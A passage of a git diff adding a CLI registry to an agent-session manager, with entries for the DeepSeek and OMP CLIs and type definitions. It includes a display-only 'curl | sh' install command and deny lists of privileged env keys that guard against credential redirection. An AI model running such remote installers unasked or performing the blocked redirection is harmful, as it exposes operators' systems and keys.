// Only the vendor namespaces. A dsh settings.yaml can nominate ANY env var as a + // provider credential (`apiKeyEnv`), so admitting foreign provider keys here would + // widen one GLOBAL allowlist for every mode at once — the same lesson pi taught. + allowedPrefixes: ['DSH_', 'DEEPSEEK_'], + allowedKeys: [], + setenvProfile: 'deepseek-status-bridge', + }, + capabilities: { + ...agentDefaults(), + // Definitive rather than inferred: the harness TUI reports idle/working/blocked to a + // supervisor and Codeman is that supervisor. 'supervised' rather than 'always' because + // the session can disarm the bridge, and docker/remote cannot reach it at all. + hooks: 'supervised', + transcript: 'deepseek-zstd', + altScreen: 'strip-mux-only', + echo: { policy: 'buffer', anchor: { kind: 'cursor' } }, + // Model is NOT a session field for dsh — it is a profile composition entry. + model: { source: 'none' }, + // Only-if-sent, like codex/antigravity/grok: an ABSENT permissionMode means the + // launcher's own default, `workspace-write`, which already asks. Clamping to + // `read-only` instead would break the workspace rather than protect it. + privilegedParams: [{ param: 'permissionMode', clampTo: 'workspace-write' }], + // The half no other CLI needs. `DSH_*` is an allowlisted envOverrides prefix and + // applyEnvOverrides() runs LAST, so without this a non-granted owner could send + // DSH_PERMISSION_MODE on the same request and land after the config clamp. + privilegedEnvKeys: ['DSH_PERMISSION_MODE', 'DSH_HOME', 'DEEPSEEK_BASE_URL'], + }, + overlays: { + // No credStore: dsh keeps everything under $DSH_HOME (default ~/.dsh), which is + // forwarded as a plain env var above rather than seeded as a credential directory. + }, +}; + +// OMP (`omp`, omp.sh). The plainest entry in the catalog after opencode: no permission +// flags at all — omp reads its model routing and hooks from `~/.omp/agent`, so the CLI's +// own config governs and there is deliberately nothing bypass-shaped to clamp. Its only +// privileged surface is a pair of ENV keys (see privilegedEnvKeys below). +const OMP: CliEntry = { + id: 'omp' as CliEntry['id'], + label: 'OMP', + shortBadge: 'OM', + accent: '#7c9cf5', + enabled: true, + stock: true, + order: 90, + kind: 'agent', + discovery: { + binaries: ['omp'], + // `~/.local/bin` leads: omp.sh's installer targets it with no `--dir` override + // (verified against a real `--no-cache` docker build); `~/.omp/bin` is a defensive + // fallback only. + searchDirs: [ + HOME_DIRS.local, + '~/.omp/bin', + HOME_DIRS.usrLocal, + HOME_DIRS.bunBin, + HOME_DIRS.npmGlobal, + HOME_DIRS.homeBin, + ], + // A real `omp --version` prints `omp/`. `omp` is another short generic name, so + // the `omp/` prefix is what distinguishes the coding agent from anything else of that + // name — same defence as pi and grok, one notch stricter because the prefix is checked. + version: { arg: '--version', regex: '(?:^|\\s)omp/(\\d+\\.\\d+\\.\\d+)', requireVersionMatch: true }, + install: { + command: { + linux: 'curl -fsSL https://omp.sh/install | sh', + darwin: 'brew install can1357/tap/omp', + }, + docsUrl: 'https://omp.sh', + }, + }, + launch: { + params: { + model: { type: 'token', pattern: 'model' }, + resumeId: { type: 'token', pattern: 'id-dotted' }, + continueSession: { type: 'bool' }, + }, + variants: [ + { + id: 'default', + args: [ + { lit: 'omp' }, + { flag: '--model', valueFrom: 'model', when: { param: 'model', state: 'set' } }, + // `--resume` and `--continue` conflict; a valid explicit id wins, mirroring the + // sibling builders (grok/pi/opencode). + { flag: '--resume', valueFrom: 'resumeId', when: { param: 'resumeId', state: 'set' } }, + { + lit: '--continue', + when: { + allOf: [ + { param: 'continueSession', is: true }, + { param: 'resumeId', state: 'unset' }, + ], + }, + }, + ], + }, + ], + legacyConfigAliases: { resumeId: 'resumeSessionId' }, + legacyConfigField: 'ompConfig', + resumeAppend: { style: 'flag', flag: '--resume' }, + }, + env: { + exports: [{ name: 'COLORTERM', value: 'truecolor' }], + unset: ['NO_COLOR'], + // omp's provider credentials live in `~/.omp` config files, not env vars, so there is + // nothing for the server to forward into the pane. + tmuxSetenvKeys: [], + dockerExecEnvNames: [], + allowedPrefixes: ['OMP_'], + allowedKeys: [], + }, + capabilities: { + ...agentDefaults(), + // Fullscreen alt-screen TUI, same shape as opencode/antigravity/grok: only the + // tmux-attach-time smcup strip, not Ink's full erase-scrollback+DECSET strip. + altScreen: 'strip-mux-only', + // Codeman reads omp's own `~/.omp/agent/sessions/**/*.jsonl` host-side, which is what + // makes an omp conversation survive a full session kill. + transcript: 'omp-jsonl', + echo: { policy: 'buffer', anchor: { kind: 'cursor' } }, + // No permission prompts and no bypass flag, so nothing config-shaped to clamp — the + // whole privileged surface here is env-shaped. + privilegedParams: [], + // Where omp resolves its auth from. No known concrete exfiltration path today (omp + // forwards no operator-held key into a pane), but a non-granted owner redirecting where + // a shared multi-tenant deployment resolves auth is not something to allow silently. + privilegedEnvKeys: ['OMP_AUTH_BROKER_URL', 'OMP_AUTH_BROKER_TOKEN'], + }, + overlays: { + // `~/.omp/agent` also holds agent.db/history.db/models.db (SQLite caches) and + // terminal-sessions/blobs/cache (large, regenerable), so only the config files are + // seeded. UNLIKE pi/grok, `sessions/` is SHARED (RW) rather than host-invisible: + // Codeman reads it HOST-SIDE for history recovery and `--resume` pinning, the same + // reason codex's `sessions/` is shared — without it an in-container omp conversation + // would be invisible to Codeman's own resume logic. + credStore: { + rel: '.omp/agent', + shareDirs: ['sessions'], + seedFiles: ['config.yml', 'mcp.json', 'models.yml', 'settings.yml'], + }, + }, +}; + +/** The full stock catalog, in the order the run menu shows by default. */ +export const STOCK_CLIS: CliEntry[] = [CLAUDE, SHELL, OPENCODE, CODEX, GEMINI, ANTIGRAVITY, PI, GROK, DEEPSEEK, OMP]; diff --git a/src/config/cli-registry/types.ts b/src/config/cli-registry/types.ts new file mode 100644 index 00000000..dff70bdc --- /dev/null +++ b/src/config/cli-registry/types.ts @@ -0,0 +1,536 @@ +/** + * @fileoverview Type definitions for the CLI registry — the single source of truth for + * which agent CLIs Codeman supports and how each one is discovered, launched and treated. + * + * This replaces the hard-coded `SessionMode` union and the ~123 per-mode branches that grew + * out of it. The guiding rule: NO code may branch on a CLI's id. Behaviour that genuinely + * differs between CLIs is expressed either as data here, or as a named PROFILE selected by + * a capability field (see profiles.ts) — never as `mode === 'codex'`. + * + * @module config/cli-registry/types + */ + +import type { TokenPattern } from './patterns.js'; + +/** + * A CLI identifier. Branded so an arbitrary string cannot be passed where a validated id is + * expected; construct with `asCliId()` at the API boundary. + */ +export type CliId = string & { readonly __cliId: unique symbol }; + +// --------------------------------------------------------------------------- +// Launch argv DSL +// --------------------------------------------------------------------------- + +/** Values the ENGINE supplies. Config may reference these by name but never author them. */ +export type EngineValue = + | 'sessionId' + | 'sessionName' + | 'muxName' + | 'effortLevel' + | 'effortSettingsJson' + /** `sessionId` prefixed `codeman_` — codex's unique per-pane rollout originator. */ + | 'codemanPrefixedSessionId' + /** + * For a launcher CLI (`discovery.launcherProfile`), the target to launch when the caller + * named none — deepseek's default `dsh` profile. Resolved at spawn time, never frozen + * into config, because it depends on what is installed on this machine right now. + */ + | 'launcherDefaultTarget'; + +/** + * A declared launch parameter. `token` params carry caller-supplied data and are therefore + * the only ones that need a pattern; `engine` params are produced in code. + */ +export type ParamSpec = + | { type: 'enum'; values: string[]; default?: string } + | { type: 'bool' } + | { type: 'token'; pattern: TokenPattern } + | { type: 'engine'; source: EngineValue }; + +/** A boolean guard over parameter state. */ +export type Cond = + | { param: string; is: string | boolean } + | { param: string; state: 'set' | 'unset' } + | { allOf: Cond[] } + | { anyOf: Cond[] } + | { not: Cond } + /** Names an entry in `capabilities.gates`. Fail-closed gates omit when version is unknown. */ + | { capabilityGate: string }; + +/** + * How a token is quoted when emitted into the bash command string. + * + * This exists ONLY to preserve byte-identical output with the hand-written builders being + * replaced (claude wraps its values in double quotes; the other builders emit bare words). + * It is never a safety lever: `renderToken()` verifies the value is metacharacter-free + * before honouring an explicit style, and falls back to single-quote escaping if it is not. + * So the worst a wrong `quote` can do is make output uglier, never unsafe. + */ +export type QuoteStyle = 'auto' | 'bare' | 'double' | 'single'; + +/** One argv element. */ +export type ArgSpec = + /** A bare literal word, e.g. the base binary or codex's `resume` subcommand. */ + | { lit: string; when?: Cond } + /** A valueless flag, e.g. `--no-approve`. */ + | { flag: string; when?: Cond } + /** A flag with a fixed literal value. */ + | { flag: string; value: string; quote?: QuoteStyle; when?: Cond } + /** A flag whose value comes from a declared param. */ + | { flag: string; valueFrom: string; quote?: QuoteStyle; when?: Cond } + /** A bare positional value from a param, e.g. codex's `resume `. */ + | { valueFrom: string; quote?: QuoteStyle; when?: Cond }; + +/** One alternative command form. */ +export interface CliVariant { + /** Stable name for diagnostics and tests, e.g. 'resume' / 'new'. */ + id: string; + when?: Cond; + args: ArgSpec[]; +} + +export interface CliLaunch { + params: Record; + /** + * 'first' — emit the first variant whose `when` passes (the usual case). + * 'fallback' — emit EVERY passing variant joined by the engine's own ` || `, which is how + * claude's `--resume X || --session-id Y` shell fallback is expressed without + * config ever containing shell text. The engine owns the operator. + */ + chain?: 'first' | 'fallback'; + variants: CliVariant[]; + /** + * Maps a declared param name to the field name it arrives under on the legacy + * `POST /api/sessions` wire shape (`OpenCodeConfig.continueSession`, etc — the per-mode + * config objects predate this registry and stay on the wire for compatibility). A param + * with no entry here is looked up under its own name. This is what lets the spawn-command + * bridge (`session-cli-registry-bridge.ts`) stay generic: it reads the raw legacy config + * object through this DATA-declared alias table instead of a per-mode `if (mode === ...)`. + */ + legacyConfigAliases?: Record; + /** + * The field on the legacy spawn option bag holding this CLI's `Config` object + * (`openCodeConfig`, `codexConfig`, …). Those per-mode objects predate this registry and + * stay on the wire for API compatibility, so SOMETHING has to know which one to read — + * declaring it here as data is what keeps the bridge a generic reader instead of a + * `switch (mode)`. + * + * ABSENT means this CLI's launch fields live at the TOP LEVEL of the option bag rather + * than nested in a config object. That is claude, whose discrete `claudeMode` / + * `allowedTools` / `model` / `resumeSessionId` fields predate the `Config` pattern + * entirely — so "read the option bag itself" is not a special case for it, it is just + * the other shape. + */ + legacyConfigField?: string; + /** + * How to APPEND a resume id onto an already-built base command, for the docker in-container + * "tmux was re-created, resume the surviving transcript" path (`appendResumeFlag` in + * tmux-manager.ts) — a narrower, append-only sibling of the full `variants` shape above, + * which builds a whole command from scratch. Absent = this CLI has no resume flag to + * append (shell, opencode: opencode's docker resume goes through its own config object). + */ + resumeAppend?: { style: 'flag'; flag: string } | { style: 'positional'; token: string }; +} + +// --------------------------------------------------------------------------- +// Discovery +// --------------------------------------------------------------------------- + +export interface CliVersionProbe { + arg: string; + /** Serialized regex, applied to `--version` output only. See compileVersionRegex(). */ + regex?: string; + /** + * Treat a binary whose version output does not match as ABSENT rather than as + * present-with-unknown-version. For CLIs with short, generic binary names (`pi`), where a + * `which` hit is not by itself evidence the right program is installed. + */ + requireVersionMatch?: boolean; + /** Retry a failed probe with backoff instead of caching the failure (claude's behaviour). */ + retryOnTransientFailure?: boolean; +} + +/** + * An identity probe: proof that the binary we found is the program we meant, not an + * unrelated one that happens to share the name. + * + * A version probe is not enough on its own. Debian ships a `dsh` (dancer's shell) that + * answers `--version` perfectly happily, and npm carries squatters for `pi` and `grok`. + * `requireVersionMatch` catches a binary whose version output has the WRONG SHAPE; this + * catches one whose output has the right shape but names the wrong program. + * + * Ordering matters and belongs to the resolver, not to config: identity is checked FIRST, + * so an impostor is rejected before its version string is ever parsed. + */ +export interface CliIdentityProbe { + /** Argument that makes the binary describe itself, e.g. `--help`. */ + arg: string; + /** + * Serialized regex the output must match. Compiled through `compileVersionRegex()`, so + * it inherits the same length cap and nested-quantifier rejection — this is the second + * (and last) config-supplied regex in the registry, and it runs against truncated + * command output exactly like the first. + */ + regex: string; +} + +export interface CliDiscovery { + /** + * Binary name(s), first hit wins. + * + * This is why the registry fixes a live bug: the mode name is NOT always the binary + * name (`antigravity` runs `agy`), and `probeDockerCliVersion` assumed it was. + */ + binaries: string[]; + /** Extra directories probed after `which`. A leading `~` expands to homedir; nothing else. */ + searchDirs: string[]; + version?: CliVersionProbe; + /** Proof the binary is the right program, checked BEFORE the version probe. */ + identity?: CliIdentityProbe; + /** + * Names a LAUNCHER profile (profiles.ts): this CLI's binary is a launcher over some + * further target, so two questions the registry normally answers from the binary alone + * have to be asked of that target instead. + * + * - Is it RUNNABLE? Stricter than "is the binary on disk?". + * - What is the DEFAULT target, when the caller names none? + * + * DeepSeek is why this exists and is its only user. `dsh` launches a profile from + * `$DSH_HOME/profiles/`, and the profiles DeepSeek itself ships (`web`, + * `headless`) cannot drive a terminal pane — so a perfectly-installed `dsh` with no + * third-party TUI profile is installed-but-NOT-runnable. The Run button gates on + * runnability while the "add a profile" affordance gates on mere availability; + * collapsing the two would either hide the affordance that fixes the problem or offer a + * run that always fails. + * + * The default target reaches the launch spec as the `launcherDefaultTarget` engine + * value, so it stays a runtime lookup rather than a value frozen into config. + * + * Absent (the normal case) means the binary IS the program, and its presence IS + * runnability. + */ + launcherProfile?: string; + /** + * The launch param naming the target a caller asked for, so the launcher profile can say + * why THAT specific target will not start rather than only whether any will. Meaningless + * without `launcherProfile`. + */ + launcherTargetParam?: string; + install: { + /** + * DISPLAY TEXT ONLY. Shown verbatim in "CLI not found. Install with: ...". + * + * ⚠️ NEVER executed by the server. That is a documented invariant, not an oversight: + * running it would turn a config file into a code-execution surface. A proposal to + * execute this on enable is deliberately deferred to its own change so the trust + * model can be decided on its own merits rather than inside a refactor. + */ + command: Partial>; + /** Package name for an npm-installable CLI. Display/tooling metadata only. */ + npmPackage?: string; + docsUrl?: string; + }; +} + +// --------------------------------------------------------------------------- +// Environment +// --------------------------------------------------------------------------- + +export interface CliEnv { + /** `export K=V` in the bash prelude. Values are literals or engine values, never secrets. */ + exports: Array<{ name: string; value: string | { engine: EngineValue }; when?: Cond }>; + /** `unset K` — e.g. claude's CLAUDECODE, the truecolor CLIs' NO_COLOR. */ + unset: string[]; + /** + * NAMES ONLY. Values are read from the server's own process.env and pushed via + * `tmux setenv`, so a secret is structurally unable to reach the command line. + */ + tmuxSetenvKeys: string[]; + /** NAMES ONLY, forwarded as `docker exec -e NAME`. */ + dockerExecEnvNames: string[]; + /** + * Env vars set via `tmux setenv` from a LAUNCH PARAM rather than from the server's own + * environment — for a CLI whose switch is an env var instead of a flag. + * + * DeepSeek's `DSH_PERMISSION_MODE` is the case this exists for. Routing it through a + * declared param (rather than a bespoke configure step) is what lets the ordinary + * `privilegedParams` clamp apply to it: the clamp rewrites the param, and whatever the + * param ends up as is what gets exported. + * + * ⚠️ Values are read from a declared, schema-validated param, never from free text, and + * they reach the pane through `tmux setenv` rather than the command line. + */ + configSetenv?: Array<{ name: string; fromParam: string }>; + /** This entry's contribution to the env-override allowlist. Never widens BLOCKED_ENV_KEYS. */ + allowedPrefixes: string[]; + allowedKeys: string[]; + /** + * Env var carrying a JSON config blob pushed via `tmux setenv` (opencode's + * OPENCODE_CONFIG_CONTENT). Generic so it is not an opencode special case. + */ + configContentVar?: string; + /** + * Names an entry in `SETENV_PROFILES` (profiles.ts): extra `tmux setenv` work that is + * genuinely code-shaped rather than a list of key names. + * + * DeepSeek's status bridge is the only current user. It has to write an executable shim + * to disk (`ensureDeepSeekStatusShim()`), then export the shim's path and this session's + * pane id — a side effect and two computed values, none of which `tmuxSetenvKeys` (a + * list of names forwarded from the server's own env) can express. + * + * Plain secret forwarding stays in `tmuxSetenvKeys` and must NOT move here. + */ + setenvProfile?: string; +} + +// --------------------------------------------------------------------------- +// Capabilities +// --------------------------------------------------------------------------- + +/** + * The closed set of behavioural switches. Each field replaces an id-check somewhere. + * + * `hooks`, `transcript` and `altScreen` are INDEPENDENT on purpose. The three predicates + * they back (`hooksAvailableForMode`, `isExternalCliMode`, `isAltScreenStripMode`) describe + * three different, deliberately unequal sets, and deriving any one from another has already + * caused a real bug — a `shell` session has no hooks but is not an "external CLI", so + * `!isExternalCliMode()` wrongly accepted `until=stop` on it and hung for the full timeout. + * Keeping them as separate fields makes that invariant structural rather than commented. + */ +export interface CliCapabilities { + /** + * Non-Claude run mode that uses its own TUI and output format (`isExternalCliMode`): + * no Claude transcript, no hooks, no Claude-format token/BashTool parsing. An explicit + * field rather than derived from `hooks`/`kind`, precisely because it must stay + * independent — see this interface's own doc comment. + */ + external: boolean; + /** No direct-PTY fallback: the CLI must run inside tmux (secrets ride tmux setenv). */ + requiresMux: boolean; + /** + * Whether `stop`/`blocked` wait signals can ever fire for this CLI. + * + * ⚠️ A TRI-STATE, not a boolean, because for one CLI this is a per-SESSION question: + * 'none' — no hook signals, ever (every external CLI, and `shell`). + * 'always' — the CLI installs Codeman's hooks (claude). + * 'supervised' — the CLI REPORTS its own idle/working/blocked state to a supervisor + * over a generic env-gated contract, and Codeman is that supervisor + * (deepseek, via deepseek-status-shim.ts). Definitive rather than + * inferred, so it earns real signals — but the session can disarm the + * bridge (`deepSeekConfig.statusReporting: false`), and a docker or + * remote session cannot reach it at all. + * + * That last case is why `hooksAvailableForMode()` takes per-session options and why + * every call site must pass `sessionHookOptions(session)`. Answering from the mode alone + * would promise a `stop` that never arrives, which is the infinite-wait-dressed-as-a- + * timeout the predicate exists to prevent. + */ + hooks: 'none' | 'always' | 'supervised'; + /** + * Which transcript reader, if any, understands this CLI's on-disk history. + * + * `deepseek-zstd` is the odd one out: dsh writes zstd-compressed session files and + * appends ONE FRAME PER WRITE, so it needs a reader that walks frame headers itself + * rather than the stock decoder. It exists because the pane segmenter served dsh's + * ASCII-art splash as the worker's first answer. + */ + transcript: 'claude-jsonl' | 'codex-rollout' | 'deepseek-zstd' | 'omp-jsonl' | 'none'; + /** + * 'strip-full' — alt-screen + erase-scrollback + mouse DECSETs stripped (Ink TUIs). + * 'strip-mux-only' — only tmux's own attach-time smcup (the safe default). + * 'preserve' — leave everything (a direct-PTY shell running vim/less/htop). + */ + altScreen: 'strip-full' | 'strip-mux-only' | 'preserve'; + echo: { + policy: 'buffer' | 'predict' | 'off'; + /** How the local-echo overlay locates the composer row. */ + anchor: { kind: 'glyph'; glyph: string; offset: number } | { kind: 'cursor' } | { kind: 'none' }; + /** Names a PREDICT_PROFILES key. Unknown or absent degrades to 'buffer', never to broken. */ + predictProfile?: string; + }; + /** Forwarding the wheel to the CLI's own transcript. 'never' keeps local scrollback. */ + wheelForward: { mode: 'never' | 'version-gated'; minVersion?: string }; + keyboardAccessory: 'agent' | 'shell'; + /** Multi-user: this CLI is a raw shell, so its commands need the privileged gate. */ + privilegedCommandGate: boolean; + startMode: 'interactive' | 'shell'; + stripInkBloat: boolean; + ralph: boolean; + respawn: boolean; + effort: boolean; + agentSkillInjection: boolean; + statusLineTelemetry: boolean; + /** Where a model override is delivered. Claude uniquely writes settings.local.json. */ + model: { source: 'flag' | 'claude-settings-file' | 'none'; param?: string }; + /** + * Params a non-granted multi-user owner may not set freely, and what they are forced to. + * Data-driven so a CUSTOM CLI's bypass flag is clampable exactly like codex's. + * + * `materializeWhenAbsent` distinguishes two real shapes, not one: + * - only-if-sent (false/omitted; codex, antigravity, grok): the CLI's own + * absent-config default already spawns safe, so the clamp should only touch + * a config the caller actually sent. + * - materialize (true; gemini, pi): the absent-config default is ITSELF unsafe + * for a non-granted owner (gemini defaults to `yolo`; pi's absent default is + * an interactive trust prompt the session user could just answer "yes" to), + * so the clamp must CREATE a config object even when none was sent. + * + * ⚠️ `param` names the LAUNCH PARAM, like every other `param` in this file — never the + * legacy wire field. The clamp translates it through `legacyConfigAliases` on the way out, + * the same hop `env.configSetenv` makes. The two names coincide for most entries and + * DELIBERATELY do not for codex (`bypassApprovals` here, `dangerouslyBypassApprovals` on + * the wire), which is what keeps the distinction visible. `schema.ts` rejects an entry + * naming a param it never declared, because getting this wrong is a SILENT no-op: no load + * error, no failing test, the clamp just stops clamping. + */ + privilegedParams: Array<{ param: string; clampTo: boolean | string; materializeWhenAbsent?: boolean }>; + /** + * Env var names a non-granted multi-user owner may not set at all, DROPPED from + * `envOverrides` before spawn. + * + * ⚠️ This is a second, structurally different privileged surface from `privilegedParams` + * above, and one cannot substitute for the other. `privilegedParams` clamps a field on a + * per-CLI config object, which reaches the CLI as an argv flag. These clamp env vars, + * which reach it through `tmux setenv` — a path no argv clamp can see. + * + * DeepSeek is why this exists. Its permission switch IS an env var + * (`DSH_PERMISSION_MODE`), not a flag, so a config-level clamp alone leaves a real + * multi-user control with nothing enforcing it. Worse, `DSH_*` is an allowlisted + * `envOverrides` prefix and `applyEnvOverrides()` runs AFTER the per-CLI env configure + * step, so a non-granted owner sending that key on the SAME request would land last and + * hand back exactly the privilege the config clamp just removed. + * + * Dropping (rather than rewriting) is deliberate: the value then falls through to what + * the CLI's own env configuration exports, which is already the clamped one. + * + * The other two DeepSeek keys are here for reasons worth keeping written down: + * - `DSH_HOME` points the launcher at a profile tree whose plugin code runs at BOOT, + * before any approval row could apply. + * - `DEEPSEEK_BASE_URL` would redirect the server's OWN forwarded `DEEPSEEK_API_KEY` + * to a host of the caller's choosing. + * + * Every other CLI's bypass is a command-line flag reachable only through its config + * object, which is why `privilegedParams` alone is the whole gate for them. + */ + privilegedEnvKeys: string[]; + /** Version gates referenced by `capabilityGate` conditions. */ + gates: Record; + /** Cap on a single terminal frame, when this CLI needs a tighter one than the default. */ + maxFrameBytes?: number; +} + +// --------------------------------------------------------------------------- +// Location overlays (remote SSH / docker) +// --------------------------------------------------------------------------- + +/** Docker credential seeding policy — which host dirs are copied or shared into a container. */ +export interface CliCredStore { + rel: string; + shareDirs?: string[]; + shareFiles?: string[]; + seedFiles?: string[]; + seedWhole?: boolean; +} + +export interface CliOverlays { + /** + * The remote/docker DEFAULT pane command: just the CLI invocation (e.g. `claude + * --dangerously-skip-permissions`), independent of each location's own wrapping + * (remote: login-shell `-c`; docker: `exec`). Absent `command` = the bare + * `discovery.binaries[0]`. `disabled: true` = this location has no story for this CLI at + * all (docker for `shell`) — distinct from "no override", which still gets a default. + */ + remote?: { command?: string } | { disabled: true }; + /** + * `rootCommand` is the same invocation for a container whose exec user is uid 0. Only + * declare it when the normal `command` would be REFUSED as root: claude's carries + * `--dangerously-skip-permissions`, which Claude Code rejects outright under root, and + * the rejection is visible only inside the container, so the pane dies with no clue on + * the outside. Codeman's own base image runs a non-root user and never selects this; an + * ADOPTED container belongs to its owner and is frequently root. Absent = use `command`. + */ + docker?: { command?: string; rootCommand?: string } | { disabled: true }; + /** + * ⚠️ DECLARED-FOR-LATER, unlike `remote`/`docker` above, which are live. + * + * The Docker credential-seeding path still reads its own `CRED_STORES` table in + * `docker-hosts.ts`, because this shape cannot yet express that table: it allows ONE store + * per CLI, and the live table needs two for gemini (`.gemini` for the CLI's own auth plus + * `.config/gcloud` for Vertex), while deepseek's entry here declares none at all even + * though `.dsh` is seeded. Wiring it therefore means making this an ARRAY and correcting + * those two entries — a change to credential seeding, which is both the highest-consequence + * thing in this file to get wrong and the least covered by tests, since every docker IO + * path is no-op'd under vitest. It belongs in its own change, measured against a real + * container. + */ + credStore?: CliCredStore; +} + +// --------------------------------------------------------------------------- +// The entry +// --------------------------------------------------------------------------- + +/** + * ⚠️ DECLARED-FOR-LATER: fields no code reads yet. + * + * `shortBadge`, `accent`, `overlays.credStore`, `capabilities.echo`, `capabilities.wheelForward`, + * `capabilities.keyboardAccessory` and `capabilities.maxFrameBytes` all describe FRONTEND + * behaviour, and the frontend is deliberately untouched by the change that introduced this + * registry — `app.js`, `terminal-ui.js`, `styles.css` and friends keep their own + * hand-authored per-CLI rules, and moving them is its own piece of work with its own way of + * being verified (a mobile/browser suite the CI gate cannot see). + * + * They are declared now because each entry should describe its CLI completely, and because + * transcribing them while the hand-written source is still on screen is when the values are + * actually known. But an unread field is a promise, not a fact: nothing enforces that + * `echo.policy` here matches `_updateLocalEchoState`'s fallthrough, or that `accent` matches + * the gradient CSS paints. Treat every value in this group as TRANSCRIBED, not authoritative, + * and re-measure against the frontend before wiring one up. + * + * The rest of the interface is live: something reads it, and `test/cli-registry-*.test.ts` + * pins what it does with it. + */ +export interface CliEntry { + id: CliId; + label: string; + /** Two-ish character tab badge, e.g. 'OC'. */ + shortBadge: string; + /** Single hex colour. CSS derives every per-CLI gradient from it via --cli-accent. */ + accent: string; + enabled: boolean; + /** Set by the loader from the shipped catalog; a user entry can never claim it. */ + stock: boolean; + order: number; + /** 'shell' unlocks the raw-shell code paths; everything else is an agent CLI. */ + kind: 'agent' | 'shell'; + discovery: CliDiscovery; + launch: CliLaunch; + env: CliEnv; + capabilities: CliCapabilities; + overlays: CliOverlays; +} + +/** + * The on-disk shape of ~/.codeman/clis.json — overrides and custom entries only, never the + * full catalog. Small and hand-readable by design. + * + * ⚠️ READ-ONLY in this build. Nothing here writes this file: there is no settings UI and no + * write API yet, so there is nothing to persist. That also means importing the registry + * (and therefore `schemas.ts`, which validates against it) performs no filesystem writes — + * an import side effect worth not having. + */ +export interface CliRegistryFile { + schemaVersion: number; + /** + * Stock ids already introduced to this install — the ratchet that lets one file both gain + * newly-shipped CLIs on upgrade AND remember that the user disabled one. + * + * Read and IGNORED here, and never written: the ratchet only earns its keep once a CLI + * can be disabled, which needs the write API. Declared now purely so a file written by a + * later version still loads cleanly under this one instead of failing `.strict()`. + */ + seededStockIds?: string[]; + /** Keyed by id: a partial override of a stock entry, or a complete custom entry. */ + clis: Record; +} diff --git a/src/config/dependency-registry.ts b/src/config/dependency-registry.ts index 65ff9ca8..dd589818 100644 --- a/src/config/dependency-registry.ts +++ b/src/config/dependency-registry.ts @@ -7,9 +7,8 @@ * @module config/dependency-registry */ -import { PI_VERSION_REGEX } from '../utils/pi-cli-resolver.js'; -import { GROK_VERSION_REGEX } from '../utils/grok-cli-resolver.js'; -import { DEEPSEEK_VERSION_REGEX } from '../utils/deepseek-cli-resolver.js'; +import { enabledClis } from './cli-registry/registry.js'; +import { compileVersionRegex } from './cli-registry/patterns.js'; export type ProbeEnvironment = 'linux' | 'darwin' | 'win32' | 'wsl'; @@ -58,183 +57,164 @@ export interface ToolDependency { const ALL: ProbeEnvironment[] = ['linux', 'darwin', 'wsl', 'win32']; -export const DEPENDENCY_REGISTRY: ToolDependency[] = [ - { - id: 'node', - label: 'Node.js', - category: 'core', - required: true, - minVersion: '22.0.0', - resolvers: [{ match: ALL, resolver: { kind: 'path', bins: ['node'], versionArg: '--version' } }], - installHint: { linux: 'https://nodejs.org', darwin: 'brew install node', wsl: 'https://nodejs.org' }, - }, - { - id: 'claude', - label: 'Claude CLI', - category: 'core', - required: false, - usedBy: ['Claude Code sessions (default backend)'], - resolvers: [{ match: ALL, resolver: { kind: 'path', bins: ['claude'], versionArg: '--version' } }], - installHint: { linux: 'https://docs.claude.com/claude-code', darwin: 'https://docs.claude.com/claude-code' }, - }, - { - id: 'tmux', - label: 'tmux', - category: 'core', - required: true, - resolvers: [{ match: ['linux', 'darwin', 'wsl'], resolver: { kind: 'path', bins: ['tmux'], versionArg: '-V' } }], - installHint: { linux: 'sudo apt install tmux', darwin: 'brew install tmux', wsl: 'sudo apt install tmux' }, - }, - { - id: 'opencode', - label: 'OpenCode CLI', - category: 'core', - required: false, - usedBy: ['OpenCode sessions'], - resolvers: [{ match: ALL, resolver: { kind: 'path', bins: ['opencode'], versionArg: '--version' } }], - }, - { - id: 'codex', - label: 'Codex CLI', - category: 'core', - required: false, - usedBy: ['Codex sessions'], - resolvers: [{ match: ALL, resolver: { kind: 'path', bins: ['codex'], versionArg: '--version' } }], - }, - { - id: 'gemini', - label: 'Gemini CLI', - category: 'core', - required: false, - usedBy: ['Gemini sessions'], - resolvers: [{ match: ALL, resolver: { kind: 'path', bins: ['gemini'], versionArg: '--version' } }], - }, - { - id: 'antigravity', - label: 'Antigravity CLI', - category: 'core', - required: false, - usedBy: ['Antigravity sessions'], - resolvers: [{ match: ALL, resolver: { kind: 'path', bins: ['agy'], versionArg: '--version' } }], - }, - { - id: 'pi', - label: 'Pi CLI', - category: 'core', - required: false, - usedBy: ['Pi sessions'], - // The only entry that requires a version match, for the same reason - // pi-cli-resolver.ts probes: `pi` is a short generic name (Raspberry Pi tooling, - // personal scripts), so a `which pi` hit alone is not the coding agent. Both sides - // share PI_VERSION_REGEX, so the doctor and the run mode cannot drift into telling - // the user opposite things about the same binary. - resolvers: [ - { - match: ALL, - resolver: { - kind: 'path', - bins: ['pi'], - versionArg: '--version', - versionRegex: PI_VERSION_REGEX, - requireVersionMatch: true, +/** + * The doctor's ROW IDENTITY for a CLI, where it differs from the registry id. + * + * These are two separate contracts and they have never been the same thing: `codeman doctor` + * prints a tool table whose ids predate the registry, and `dsh` names the BINARY while the + * run mode is `deepseek`. Keeping the historical id here means the doctor's output does not + * shift under a refactor that was supposed to change nothing a user can see. + * + * `usedBy` is likewise preserved verbatim rather than generated, because the strings are + * shown to the user and claude's does not follow the pattern. + */ +const DOCTOR_ROW_OVERRIDES: Record = { + claude: { usedBy: ['Claude Code sessions (default backend)'] }, + opencode: { usedBy: ['OpenCode sessions'] }, + codex: { usedBy: ['Codex sessions'] }, + gemini: { usedBy: ['Gemini sessions'] }, + antigravity: { usedBy: ['Antigravity sessions'] }, + pi: { usedBy: ['Pi sessions'] }, + grok: { usedBy: ['Grok sessions'] }, + // Both the id and the label are historical: `dsh` names the binary, and the doctor has + // always spelled this row out in full rather than as `${label} CLI`. + deepseek: { id: 'dsh', label: 'DeepSeek Harness CLI', usedBy: ['DeepSeek sessions'] }, +}; + +/** + * Build one `codeman doctor` row per enabled CLI, straight from its registry entry. + * + * This replaces eight hand-written rows that had to be kept in step with the run modes by + * hand — and were not: an earlier draft of this refactor silently dropped the Grok and + * DeepSeek rows, so `codeman doctor` stopped reporting two shipped CLIs at all. Deriving + * the list makes that class of omission impossible. + * + * ⚠️ The version regex is compiled through `compileVersionRegex()`, NOT `new RegExp()`. It + * is a config-supplied pattern, so it goes through the same length cap and + * nested-quantifier rejection the argv engine applies; the doctor runs it over command + * output exactly like the resolver does, and skipping the guard here would leave one + * unguarded path into a user-supplied regex. + * + * ⚠️ 